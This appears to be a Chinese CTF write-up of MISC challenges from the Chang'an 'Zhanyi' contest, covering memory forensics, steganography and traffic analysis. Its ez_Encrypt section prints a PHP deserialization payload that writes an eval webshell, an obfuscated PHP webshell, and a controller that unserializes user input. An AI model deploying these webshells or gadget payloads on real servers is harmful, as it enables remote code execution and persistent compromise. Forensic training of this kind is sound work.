长安“战疫”网络安全卫士守护赛

新冠疫情肆虐全球,这一场疫情阻击战不仅是我国卫生健康领域的一场战疫,也是科学技术领域的一次大考。在这个特殊时期,保障网络安全,防范利用新冠肺炎疫情实施的网络攻击行为是关系广大人民群众切身利益的大事。如网络攻击者将计算机病毒、木马和移动恶意程序等伪装成“肺炎病例”“防护通知”等信息,通过钓鱼邮件、恶意链接等方式进行传播,造成用户安全问题。

西安数所高校学生团体联合发起长安战疫网络安全公益科普赛和长安战疫“网络安全卫士”守护赛,一方面提升全民疫情期间的网络安全意识与疫情中常见问题的应对措施,另一方面提升我省的网络安全应急响应能力和网络安全从业者技术能力,协助用户提升网络安全防护能力,为战胜新冠肺炎提供网络空间保障。

Rank: 14


MISC

八卦迷宫

一起走迷宫吧,要提交全拼音字符奥

maze

走迷宫,串联经过的八卦对应文字:cazy{战长恙长战恙河长山山安战疫疫战疫安疫长安恙},转为全拼:

cazy{zhanchangyangchangzhanyanghechangshanshananzhanyiyizhanyianyichanganyang}

朴实无华的取证

xp内存取证,先判断profile

volatility -f xp_sp3.raw imageinfo

查看进程

volatility -f xp_sp3.raw --profile=WinXPSP2x86 pslist

发现notepad和mspaint,查看记事本

volatility -f xp_sp3.raw --profile=WinXPSP2x86 notepad

找到信息: 20211209(Encrypt)

再查看桌面文件

volatility -f xp_sp3.raw --profile=WinXPSP2x86 filescan | grep -E "桌面"

找到文件 flag.zipflag.png,分别dump下来

flag.png 中有密文信息: FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]

flag.zip 有密码,用前面的 20211209 解开找到加密算法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void Encrypt(string& str)
{
for(int i = 0; i < str.length(); i++)
{
if(str[i] >='a'&& str[i]<='w')
str[i]+=3;
else if(str[i]=='x')
str[i]='a';
else if(str[i]=='y')
str[i]='b';
else if(str[i]=='z')
str[i]='c';
else if(str[i]=='_')
str[i]='|';
str[i] -= 32;
}
}

还原flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
s = list(b'FDCB[8LDQ?ZLOO?FHUWDLQOB?VXFFHHG?LQ?ILJKWLQJ?WKH?HSLGHPLF]')
t = ''

def encrypt(x):
if x >= ord('a') and x <= ord('w'):
x += 3
elif x == ord('x'):
x = ord('a')
elif x == ord('y'):
x = ord('b')
elif x == ord('z'):
x = ord('c')
elif x == ord('_'):
x = ord('|')
x -= 32
return x

for i in range(len(s)):
for j in range(128):
if encrypt(j) == s[i]:
t += chr(j)
break
else:
t += '?'
print(t)

# cazy{Xian?will?certainly?succeed?in?fighting?the?epidemic}

?_ ,得到flag:cazy{Xian_will_certainly_succeed_in_fighting_the_epidemic}

无字天书

在流量包中发现 secret 流量,dump得到gzip包,内容为一串16进制字符串,其中包含 504B0304,转存为zip文件,内含 flag.txtkey.ws 两个纯空白字符文件。

key.ws 中包含空格与tab字符及大量换行符,为whitespace语言,在线运行得到输出 XiAnWillBeSafe

flag.txt 中包含大量空格与tab字符,为snow隐写,密码 XiAnWillBeSafe,解密:

SNOW.EXE -C -p XiAnWillBeSafe flag.txt,得到flag:

cazy{C4n_y0u_underSt4nd_th3_b0oK_With0ut_Str1ng}

西安加油

在流量包中发现 secret.txt 流量,dump下来base64解码得到zip文件:

1
2
3
4
import base64

f = open('secret.txt','rb').read()
open('out.zip','wb').write(base64.b64decode(f))

打开为拼图,共48张,选择带flag的部分图片纯手拼:

pintu

flag:cazy{make_XiAN_great_Again}

ez_Encrypt

查看流量,发现是蚁剑流量,其中一个流中

TzozOToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxBZGFwdGVyIjo1OntzOjc6IgAqAGZpbGUiO3M6MTE6Ii4vc2hlbGwucGhwIjtzOjEwOiIAKgBhZGFwdGVyIjtPOjMwOiJMZWFndWVcRmx5c3lzdGVtXEFkYXB0ZXJcTG9jYWwiOjE6e3M6MTM6IgAqAHdyaXRlRmxhZ3MiO2k6MDt9czo5OiIAKgBleHBpcmUiO047czoxMToiACoAYXV0b3NhdmUiO2I6MDtzOjg6IgAqAGNhY2hlIjthOjE6e2k6MDtzOjI5OiI8P3BocCBldmFsKCRfUE9TVFsnY2F6eSddKSA%2FPiI7fX0%3D

base64解码为 O:39:"League\Flysystem\Cached\Storage\Adapter":5:{s:7:".*.file";s:11:"./shell.php";s:10:".*.adapter";O:30:"League\Flysystem\Adapter\Local":1:{s:13:".*.writeFlags";i:0;}s:9:".*.expire";N;s:11:".*.autosave";b:0;s:8:".*.cache";a:1:{i:0;s:29:"<?php eval($_POST['cazy']) ?>";}}

说明通过反序列化漏洞写入一句话木马。

找到一长串base64编码字符串,解码保存为 www.zip 源码,在 app\controller\Index.php 中找到混淆处理过的马:

1
<?php define('IKlSux1227',__FILE__);$DusPFr=base64_decode("bjF6Yi9tYTVcdnQwaTI4LXB4dXF5KjZscmtkZzlfZWhjc3dvNCtmMzdqZHF0d3lpT2VBY1VaTHBDdUhuYm1ndkZzZlNhUFlsTUpCTmpSVmtLeFFEVFdJcnpFb1hHaA==");$arCiCL=$DusPFr[3].$DusPFr[6].$DusPFr[33].$DusPFr[30];$VvUrBZ=$DusPFr[33].$DusPFr[10].$DusPFr[24].$DusPFr[10].$DusPFr[24];$DEomKk=$VvUrBZ[0].$DusPFr[18].$DusPFr[3].$VvUrBZ[0].$VvUrBZ[1].$DusPFr[24];$LnpnvY=$DusPFr[7].$DusPFr[13];$arCiCL.=$DusPFr[22].$DusPFr[36].$DusPFr[29].$DusPFr[26].$DusPFr[30].$DusPFr[32].$DusPFr[35].$DusPFr[26].$DusPFr[30];eval($arCiCL("JFZDQlpRVz0iZ29NVFFoZXFpYVVPdWJtWWZSSlNya1dObmRFc1BaR2pBS3BDVnRCSUh3REZ4Y3pYTGx2eVlUY2lVdVBuZ3BzeXFib09saGpGSVpOU3d6bU1IR3ZEeHRrWFZhV2ZkQUpFclJLTENCUWVISjlBcGR4WUd2Vm9wTjVCdFh6WmhCdXVwWmZyY0RmM2plcmpGMnJpekxZcmNEZjN0aU1aR21qbmkwOWpITmp1UjJzMlNFOVpHTlNRR3ZzVGZvam5oREdHcGlCME5WaE5PMmhxc0x6dVZtWjBpRXVYU3ZoT2hEVkNwQmtLTzIxMHAxazZidkdwVjJ1bk9LU1p6WjVKenYxU1BvaHJPMXo0ekV6cWlEVkdjMUdVVnYxQXMxU3ZVWjVzRkVrVFZaVk1iVkVMR0VqRGJCZktWMHVBek5tQXpkekZoVmtrc05ycGIxek9wRWhwVktCdlZEV1podkVMc0JHaUdLMDlmZ1o3am1rM2JadTFWSzBaR21qbmkwOWpOS1N6Q2doWlVva0hpMEJiU0IwcWp2aFhwWjlIRlZNS2MxMHFqdmhYcFo5SEZWTUtjRTA3amRHaGl2emRGSzBaR21qbmkwOWpOS2NLTEY0Wkdtam5pMDlqTkttQUxGNFpHbWpuaTA5ak5LZjBMRjRaR21qbmkwOWpOS21BTEY0Wkdtam5pMDlqTktmMExpTVpOTkdNendHc0hGaDJzc3J3aDBhYmNFMHFqdmhYcFo5SEZWTXJ5RTBxanZoWHBaOUhGVk1LTEY0WnpCRWNHMHpDTktXekNnaDJzc3J3aDBhYmNWMHFqdmhYcFo5SEZWTWVTRTA3anYxRVVWRXZPSzBaR21qbmkwOWpOS3p6Q2doWlVva0hpMEJiY2lTenllaHR6MjVmelZScUhGaFpVb2tIaTBCYmNEanpDZ2haVW9rSGkwQmJjS0d6Q2doWlVva0hpMEJiY0RCekNnaFpVb2tIaTBCYmNER3pDZ2haVW9rSGkwQmJjS1d6Q2doWlVva0hpMEJiY0tqekNnaFpVb2tIaTBCYmNLVnpDZ2haVW9rSGkwQmJjREd6Q2doWlVva0hpMEJiY0tXenkyVjJPTkFUam1rM2JadTFWZVlnRlpWcGlWVHJSZGtOcERXa1ZFVjBSQlRlU0xoc2hOck1zTnJwcEJqT05vQlpoTmhFR05hVE9WR05HbWpaVjFUS1YwenZTVmphUEVWREZtNTVOWnpBaHZmZXBFalZjb3JpczJyTVNFVUtoWjlWaFZqSlZ2NU16VlRBekVXZ2hOdUZPS2pwczFaS05CekJidmhTVlpWeXBWQk5SSldwVk5yTk9EV05oMVZkYkVoZ1ZOVUtWRXVYUHZWZHNCQlpWb3JlczIxQVBORUVoWmpCcG9yTVZCVjRwdlZWaEJ1eWhKV2tpS2pOY0JCTHoyOXRQRFlJRndaMHAxU3FHZFZpRkVHT0YwU0ZjQlZWUHY1RmNkU1FGWkdNYk5qZk5Eak5VMnpJc29hNGJCenFpQnpjVTFqMHNCVnZzQmphaUxFU3BOYUtGWkdNYk5qZk5Eak5VMnpJc29hNGJCenFpQnpjVTFqMHNCVnZzQmphaUxTdGhLRXZzVkd2aDFCNXAzU3Rob3JhT1p1cGNCR0pHMmFGcDN1cVYyNXlWMHJtVUxTdGhLRXZzVkd2aDFCNXAzV0NzMk0zZmdaa3lLOCtISjlBcGR4WUd2Vm9wTjVCdFh6ZEdOU3RiczRyY0RmM2plcmpGMnJpekxZcmNEZjN0aU1aaEJrUVBtajBITmp1UjJzMlNFOVpHTlNRR3ZzVGZvam5oREdHcGlCME5WaE5PMmhxc0x6dVZtWjBpRXVYU3ZoT2hEVkNwQmtLTzIxMHAxazZidkdwVjJ1bk9LU1p6WjVKenYxU1BvaHJHc1ZaVnZtZVNMekRiRVQyT0tFRk52aGFWWmhWYm1HME9OMVROTkVPYkVFWmNOclVzS1dGekJFSWJtYU5WMEduc1ZzMXBWalZwZFNwRm1HdXNvNUZjVmhkTm81c3NpMDlmZ1o3anYxcVYydWlGSjBaaEJrUVBtajBOS1N6Q2dodk5vOTRVd2hiU0IwcWptR3BiM3VYekVNS2MxMHFqbUdwYjN1WHpFTUtjRTA3akVHR1YyUzRHSjBaaEJrUVBtajBOS2NLTEY0WmhCa1FQbWowTkttQUxGNFpoQmtRUG1qME5LZjBMRjRaaEJrUVBtajBOS21BTEY0WmhCa1FQbWowTktmMExpTVpPTkdWekJ6c0hGaE5OVnpEUHZoYmNFMHFqbUdwYjN1WHpFTXJ5RTBxam1HcGIzdVh6RU1LTEY0WlZCQkxPM3VaTktXekNnaE5OVnpEUHZoYmNWMHFqbUdwYjN1WHpFTWVTRTA3anZCWnoyclNzSzBaaEJrUVBtajBOS3p6Q2dodk5vOTRVd2hiY2lTenllaGFiQnpUczBZcUhGaHZObzk0VXdoYmNEanpDZ2h2Tm85NFV3aGJjS0d6Q2dodk5vOTRVd2hiY0RCekNnaHZObzk0VXdoYmNER3pDZ2h2Tm85NFV3aGJjS1d6Q2dodk5vOTRVd2hiY0tqekNnaHZObzk0VXdoYmNLVnpDZ2h2Tm85NFV3aGJjREd6Q2dodk5vOTRVd2hiY0tXenkyVjJPTkFUanYxcVYydWlGWFlnRlp6cHMxVnFzRGhHUERXa1ZOYTRpMmhJY2loQmJOdW5zWlZwc3ZoRUZCekZjc0d1czF1WnpWa2RjTEJnaEJqTnNpVzBob0VMR3YxQlZvcnJWaVN5UEVFTlVaYVpObWprczB6TnBFenZHZGpnYzFmMXMxek1SQlpyaW81R1ZzRzRPREVGT1ZWRUd2ckZWTGhKVm1zcnMyU2RTVmpOY0JrS3NaR01oRWhJTndrWmNEbTJWMEdwY0JTZFJ2Qk5ORU8wczI1dHN2RWRzRGpoVnZySnMyNU5WMmp2VkJTRFZCanZPMmFNVTJjQXlza2dwM2hmTzFWdHB2U0xpRFNOVm1acmlzenZzMDlPUkVHRmNzamRPRFd0cDJqRWNMQmlWS1Zjc0RTdlUxQk9ob2twYlo1NXMxUjFibTFuYmRFc05FR2pPVkdORkVaZVNOdVpjM1dLTm9ydEZvVnFpd0JpVlo1Y3NaUjFSVmpWR0VFeWhMaGZWc2hGaUJmclV3RUZORUdlc2lqTnMyU05pWkdOY3ZyQVZCVjRjRWpNVkxCR2MzV3ZPMmEwUjJWRUZvYWhjZGhhVm9heXB2aE5VQmtOVk5oMUdKVzBGRWpzaEJHVnAyYTNzMk00U05FSXptdWdiTFd2c0RFV2N2amRObzlnaExoYVZvYXlpdmhPUmRTaWNCa0xzaVcwYlZHSWlacnBiZFdrc0JHTWhFVEFWQldTVnNreUdFelRwMVNmaGlWWk5FamhHbUdORnMwclJkV0dWMWt5VkV6NHp2am5HdjFMVkJrbXNLanBWMW1BenYxTnAwNWNOb3JwaEVjS1ZCRXVic1Y1VnNWcEYxVUtoREdpYlpra09vMTRGRVNkR3Z1U2J2UzVzMXVFU05FRVZCV2lWMnJ2c0RFWnAxU2ZoaVZaTkVqaEdtR05GczByUmRXR1Yxa3lWRXo0enZFbUd2MUxWQmttc0tqcFYxbUF6djFOcDA1SE5CekZoRWNlTkJ6aGNkaGFWb2F5aXZoVnBkVnNORUdoc29yTk5CR01iRUVTYm1mMk8za2pTVkdFemR1WmgycmNzWlZNT1ZVZVNOcnBjZGg0TkRqdEZzMXFod0VpY0VqdE9WR05zRU9BaUJqU3BCanFzS1NaU29qRXp2MU5wMDVjR0VoWFIxa01iRXpoY2RoYVYyYXRpQlVBcEpHaXBLQmVzaVdOaVZWZFJka1NjMWprVkJoamNFbWVWQmhaaEVUMFZEajBVMUdOaFprWmJFR3BzaWp0YlZ6Tk5aaGljQmt1aURqcE5CR0lpWnJwYkVrbXNLanBWMW1laEJTVmhtanlPMmFUUlZjZU5aNVpjMDU1Tk5rTlNtMU5SbXJOYzBzMVYwVkFzb2h2c3dqVmh2dW5OVmhFU1ZzZXptak5wMGtlc1ZHQWkyRTZGd3VWTnZ1NU9va05TdlNhU0pFQkZtazFpQnVUUE5qbmJtQlZjM1dLc0tqcFYxbUF6SkVTaDN1SE5Cemh5c0JuenZyWmJzR0tGMFNEQzFXa08zVnRoS0UxVkRqVFZFU0pHMmFOYnZyT05pU1RwMGFKc291cGJFT2VWREVoYjBrZE5CU1ZiQmYwTkxCM3AyRUxzRFNnaGlFc0Yya2pSbXJKc291cGJFT2VWREVoYjBrZE5CU1ZiQmYwTkxCM3AyRUxzRFNnaGlFc2ltU0ZSRWtmR2RTc1ZaMUFpbVNGcEVrTVZEak5jVkVRRlp6cHMxVnFzRGhHUEx6M2ltU0ZSRWtmR2RTc1ZaMUFGMVNJUm05M0hpMGd0Rlo3SEs0PSI7ZXZhbCgnPz4nLiRhckNpQ0woJFZ2VXJCWigkREVvbUtrKCRWQ0JaUVcsJExucG52WSoyKSwkREVvbUtrKCRWQ0JaUVcsJExucG52WSwkTG5wbnZZKSwkREVvbUtrKCRWQ0JaUVcsMCwkTG5wbnZZKSkpKTs="));?>

尝试手动逐层解密,最后得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
if(!empty($_GET['pop'])){
unserialize(base64_decode($_GET['pop']));
}
return "Welcom To CAZT! Xi'an Come On!";
}

public function C4zyC0m3On()
{
return 'cazy{PHP_ji4m1_1s_s00000_3aSyyyyyyyyyyy}';
}
}

Ez_Steg

zip压缩包根据提示爆破6位数字密码为 220101,解压有 steg.pycflag.txt

用uncompyle6逆pyc发现无有意义代码,为pyc隐写,用stegosaurus工具解密:

python stegosaurus.py steg.pyc -x

得到密码 Extracted payload: TheKey:St3g1sV3ryFuNny

再将 flag.txt 中emoji密文用emoji-aes解得到flag:cazy{Em0j1s_AES_4nd_PyC_St3g_D0_yoU_l1ke}

binary

二进制

文件头 CAFEBABE 说明为 .class Java字节码文件,用jadx查看:

1
2
3
4
5
6
7
8
package defpackage;

/* renamed from: Main reason: default package */
public class Main {
public static void main(String[] strArr) {
byte[] bArr = {77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 86, 120, 117, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 65, 120, 77, 70, 120, 117, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 70, 120, 117, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 65, 120, 77, 68, 65, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 86, 120, 117, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 69, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 65, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 119, 77, 70, 120, 117, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 65, 120, 77, 84, 65, 120, 77, 70, 120, 117, 77, 68, 65, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 68, 69, 120, 77, 84, 69, 119, 77, 86, 120, 117, 77, 68, 69, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 65, 119, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 65, 120, 77, 84, 69, 120, 77, 86, 120, 117, 77, 68, 69, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 120, 77, 84, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 120, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 70, 120, 117, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 84, 65, 119, 77, 84, 69, 120, 77, 68, 65, 120, 77, 84, 69, 119, 77, 68, 69, 119, 77, 84, 65, 120, 77, 84, 69, 119, 77, 84, 65, 120, 77, 86, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 84, 65, 120, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 84, 65, 120, 77, 68, 69, 119, 77, 68, 69, 119, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 65, 119, 77, 84, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 119, 77, 84, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 69, 120, 77, 68, 65, 120, 77, 84, 65, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 70, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 120, 77, 84, 69, 119, 77, 84, 69, 119, 77, 68, 65, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 120, 77, 68, 69, 119, 77, 68, 69, 120, 77, 86, 120, 117, 77, 68, 69, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 69, 120, 77, 84, 69, 120, 77, 84, 69, 119, 77, 68, 65, 119, 77, 68, 65, 120, 77, 68, 69, 119, 77, 84, 65, 120, 77, 68, 69, 120, 77, 70, 120, 117, 77, 68, 69, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 119, 77, 84, 69, 119, 77, 84, 65, 119, 77, 84, 69, 120, 77, 84, 65, 119, 77, 68, 69, 120, 77, 68, 69, 120, 77, 70, 120, 117, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 120, 77, 84, 69, 120, 77, 84, 65, 120, 77, 84, 69, 120, 77, 68, 69, 120, 77, 68, 65, 119, 77, 68, 65, 119, 77, 68, 69, 119, 77, 68, 65, 120, 77, 84, 65, 119, 77, 65, 61, 61};
}
}

10进制转字符串,base64解码得到:

0000000101110000000011111101110000000\n0111110101101010111110001110110111110\n0100010100001111000111010110110100010\n0100010110000011000111000001010100010\n0100010111011011001101101011110100010\n0111110101110100000001001000010111110\n0000000101010101010101010101010000000\n1111111100100000000100110011111111111\n1100010101010000101111110100000011000\n0101101000110010010000100110101011101\n1011000001001111001100011010000010010\n1110111111110010101101000110101011100\n1010110001110000000110100000000000010\n0110101001000100011011101011101111101\n0010100100111111101110000110010100010\n0010001101110110110011001100110011101\n1110100110001111111011010011000000010\n0000111010100011100000101101111110111\n1101100110101101001100010100110000100\n0101001001111001000001001110010010111\n0101010011000111000110010000010101000\n1001101111101110110010011111101011101\n1101100010111000000101110110001011010\n0011001000111101100011110100100111101\n0101000001110101110110101111110100010\n0101011011001001000000110100010011111\n0110100010001110010110011011111001100\n0111001111100000010110110111001111100\n0100110010110010100010111011000000000\n1111111101011001110011100101011101011\n0000000111000111011010110001010100100\n0111110111001101010110101100011101111\n0100010100110000110011010000000000010\n0100010101111101100011111111110100111\n0100010101101111111100000010101010110\n0111110111111000101101001111000110110\n0000000111111011110110000000100011000

37*37的01字符串,转为二维码:

1
2
3
4
5
6
7
8
9
10
11
12
s='0000000101110000000011111101110000000011111010110101011111000111011011111001000101000011110001110101101101000100100010110000011000111000001010100010010001011101101100110110101111010001001111101011101000000010010000101111100000000101010101010101010101010000000111111110010000000010011001111111111111000101010100001011111101000000110000101101000110010010000100110101011101101100000100111100110001101000001001011101111111100101011010001101010111001010110001110000000110100000000000010011010100100010001101110101110111110100101001001111111011100001100101000100010001101110110110011001100110011101111010011000111111101101001100000001000001110101000111000001011011111101111101100110101101001100010100110000100010100100111100100000100111001001011101010100110001110001100100000101010001001101111101110110010011111101011101110110001011100000010111011000101101000110010001111011000111101001001111010101000001110101110110101111110100010010101101100100100000011010001001111101101000100011100101100110111110011000111001111100000010110110111001111100010011001011001010001011101100000000011111111010110011100111001010111010110000000111000111011010110001010100100011111011100110101011010110001110111101000101001100001100110100000000000100100010101111101100011111111110100111010001010110111111110000001010101011001111101111110001011010011110001101100000000111111011110110000000100011000'

from PIL import Image
img = Image.new('RGB',(37,37))
width , height = img.size
for i in range(0,width):
for j in range(0,height):
if s[37*i+j]=='0':
img.putpixel((i,j),(0,0,0))
else:
img.putpixel((i,j),(255,255,255))
img.save('out.png')

扫码得flag:flag{932b2c0070e4897ea7df0190dbf36ece}

CRYPTO

LinearEquations

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
